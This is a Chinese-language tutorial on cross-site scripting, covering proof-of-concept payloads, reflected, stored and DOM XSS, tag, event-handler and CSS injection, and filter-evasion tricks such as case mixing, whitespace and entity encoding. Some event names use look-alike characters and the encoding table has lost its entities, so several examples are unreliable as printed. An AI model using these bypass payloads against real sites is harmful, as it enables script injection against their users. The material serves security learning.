一、 XSS 漏洞的验证
我们可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)。验证XSS 漏洞存在的PoC 如下:
(1)<script>alert(/xss/)</script>
(2)<script>confirm('xss')</script>
(3)<script>prompt('xss')</script>
二、XSS分类
1. 反射型XSS
反射型XSS 是非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量)中,如搜索框的反射型XSS。在搜索框中,提交PoC[<script>alert(/xss/)</script>],点击搜索,即可触发反射型XSS。 注意到,我们提交的poc 会出现在search.php 页面的keywords 参数中。
2.存储型XSS
存储型XSS 是持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言。
3.基于DOM的 XSS
DOM XSS 比较特殊。owasp 关于DOM 型号XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的。其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。
三、 XSS的构造
1. 利用 [<>] 构造HTML/JS
在测试页面 提交[<script>alert(/xss/)</script>]
2. 伪协议 ---- 可以使用javascript: 伪协议的方式构造XSS
(1)提交参数[<a href="javascript:alert(/xss/)">touch me!</a>],然后点击超链接,即可触发XSS。
(2)也可以使用img 标签的伪协议,但是这种方法在IE6 下测试成功。[<img src="javascript:alert('xss')">]。
3. 产生事件
(1) “事件驱动”是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应。所以我们可以通过事件触发JS 函数,触发XSS。
(2)事件种类
windows 事件 对windows 对象触发的事件
Form 事件 HTML 表单内的动作触发事件
Keyboard 事件 键盘按键
Mouse 事件 由鼠标或类似用户动作触发的事件
Media 事件 由多媒体触发的事件
例如,
[<img src='./smile.jpg' οnmοuseοver='alert(/xss/)'>]这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS 代码。
单行文本框的键盘点击事件,[<input type="text" οnkeydοwn="alert(/xss/)">],当点击键盘任意一个按键的时候出发。
4. 利用CSS 跨站
我们也可以利用CSS(层叠样式脚本)触发XSS。但是这种方法比较古老,基本上不适合现在主流的浏览器,但是从学习的角度,我们需要了解这种类型的XSS。一下代码均在IE6 下测试。
(1)行内样式
[<div style="background-image:url(javascript:alert(/xss/))">]
(2) 页内样式
[
<style>
div{
background-image:url(javascript:alert(/xss/))
}
</style>
<div>lalalla</div>
]
(3) 外部样式
[
<link rel="stylesheet" type="text/css" href="http://172.18.1.131/xss.css">
<div>hello<div>
]
(4) expression
[<div style="width:expression(alert(/xss/))">]
(5) import
[
<style>@import 'javascript:alert("xss")';</style>
]
[<style type="text/css">@import url(xss.css);</style><div>AJEST</div>]
5. 其他标签以及手法
我们也可以用其他标签触发XSS。
<svg οnlοad="alert(/xss/)">
<input οnfοcus=alert(/xss/) autofocus>
四、XSS变形
我们可以构造的XSS 代码进行各种变形,以绕过XSS 过滤器的检测。变形方式主要有以下几种
1.大小写转换
可以将payload 进行大小写转化。如下面两个例子。
<Img sRc='#' Onerror="alert(/xss/)" />
<a hREf="javaScript:alert(/xss/)">click me</a>
2. 引号的使用
HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
(1)<img src="#" οnerrοr="alert(/xss/)"/>
(2)<img src='#' οnerrοr='alert(/xss/)'/>
(3)<img src=# οnerrοr=alert(/xss/) />
3. [/]代替空格
可以利用左斜线代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />
4. tab 与回车
我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
(1)<Img/sRc='#'/Onerror ='alert(/xss/)' />
(2)<A hREf="j avascript:alert(/xss/)">click me!</a>
<A hREf="j
avascript:alert(/xss/)">click me!</a>
5. 对标签属性值进行转码 ----- 可以对标签属性值进行转码,用来绕过过滤。
例
(1)对应编码如下:
字母 ASCII 码 十进制编码 十六进制编码
a 97 a a
e 101 e e
经过简单编码之后的样子。
<A hREf="j avascript:alert(/xss/)">click me!</a>
(2) 我们可以将以下字符插入到任意位置
Tab 	
换行 

回车 
可以将以下字符插入到头部位置
SOH 
STX 
经过编码后的样子。
<A hREf="javas	c r ipt:alert(/xss/)">
click me!
</a>
6. 拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
<script>alert(/xss/)</script>